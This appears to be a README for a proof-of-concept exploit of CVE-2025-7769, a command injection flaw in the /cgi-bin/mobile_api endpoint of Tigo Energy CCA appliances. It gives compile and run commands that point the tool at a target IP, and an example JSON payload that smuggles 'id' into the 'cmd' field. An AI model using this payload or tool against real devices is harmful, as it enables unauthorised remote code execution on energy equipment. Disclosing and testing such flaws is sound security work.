CVE-2025-7769 – Remote Command Injection in mobile_api

Description :

This repository contains a Proof‑of‑Concept (PoC) exploit for CVE‑2025‑7769, a critical remote Command Injection vulnerability found in Tigo Energy CCA appliances exposing the /cgi-bin/mobile_api endpoint.

The vulnerability is triggered by injecting OS commands via the cmd JSON key, where unfiltered input is concatenated directly into a system call, allowing full remote code execution (RCE) on the device.

References :

• NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2025-7769

Usage :

gcc exploit.c argparse.c -o CVE-2025-7769 -lcurl
./CVE-2025-7769 -i 10.0.2.15 -p 80 -v
Replace 10.0.2.15 with the target IP.

Use -u http://target.com if you want to pass a full base URL instead of IP/port.

Example Payload :

{
  "cmd": "DEVICE_PING;id",
  "dev": 2,
  "ver": 1
}

License :